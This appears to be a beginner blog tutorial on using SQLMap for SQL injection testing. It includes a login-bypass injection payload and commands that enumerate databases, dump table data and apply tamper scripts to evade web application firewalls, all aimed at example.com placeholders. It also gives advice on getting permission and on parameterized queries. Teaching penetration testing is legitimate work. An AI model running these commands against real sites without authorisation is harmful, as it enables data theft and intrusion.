SQLMap From Scratch for Ethical Hackers. SQLMap is an open-source penetration testing tool used to detect and utilize SQL injection risk in web apps. Ethical hackers use SQLMap to test website security and help businesses fix vulnerabilities before spiteful hackers use them.
In this guide, we will explain SQLMap from scratch, making it easy for beginners to understand and use it effectively.
Join the telegram channel: Join Now!
SQLMap From Scratch for
What is called SQL injection?
SQL injection (SQLi) is a type of attack where a hacker inserts malicious SQL queries into a website’s database. If the application does not exactly filter user inputs, an attacker can recover, modify, or delete database records.
Example of SQL Injection:
A vulnerable login form may look like this:
SELECT * FROM users WHERE username = 'Yourname' AND password = 'password';
If an attacker inputs Yourname' --
as the username and anything as the password, the query becomes:
SELECT * FROM users WHERE username = 'Yourname' --' AND password = 'password';
The --
comment operator makes the rest of the SQL statement, allowing unauthorized access.
Installing SQLMap
SQLMap is available for Linux, Windows, and macOS. You can install it using:
For Linux & macOS:
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py -h
For Windows:
Download Python (if not installed) from python.org
Download SQLMap from GitHub
Open Command Prompt and navigate to the SQLMap folder
Run python sqlmap.py -h
to verify the installation
Basic SQLMap Commands
- Scanning a URL for SQL Injection
python sqlmap.py -u "http://example.com/page?id=1" --batch --dbs
- -u specifies the target URL.
- –batch runs the attack automatically.
- –DBS lists available databases if vulnerable.
- Listing Tables in a Database
Once you find a vulnerable database, list its tables:
python sqlmap.py -u "http://example.com/page?id=1" -D database_name --tables
- -D selects the database.
- –tables list tables inside the database.
- Extracting Data from Tables
To extract data from a specific table:
python sqlmap.py -u "http://example.com/page?id=1" -D database_name -T table_name --columns
- -T specifies the table.
- –columns list the table’s columns.
To dump data from columns:
python sqlmap.py -u "http://example.com/page?id=1" -D database_name -T table_name -C column_name --dump
- -C selects columns.
- –dump extracts data.
- Bypassing Security Filters
SQLMap can bypass weak security measures like WAFs (Web Application Firewalls):
python sqlmap.py -u "http://example.com/page?id=1" --tamper=between,randomcase
- –tamper applies obfuscation techniques to bypass security.
Best Practices for Ethical Hacking
- Always get permission before testing a website.
- Use SQLMap responsibly to identify and report vulnerabilities.
- Never exploit data for malicious purposes.
- Recommend security measures such as input validation and parameterized queries to fix vulnerabilities.
Top 8 Popular Cybersecurity Jobs for 2025 and the Future: Read More!
Become a Generative AI Engineer: A Full Overview (2025): Read More!
Conclusion
SQLMap is a powerful tool that simplifies SQL injection testing for ethical hackers. By understanding how SQL injections work and using SQLMap responsibly, security professionals can protect websites from cyber threats.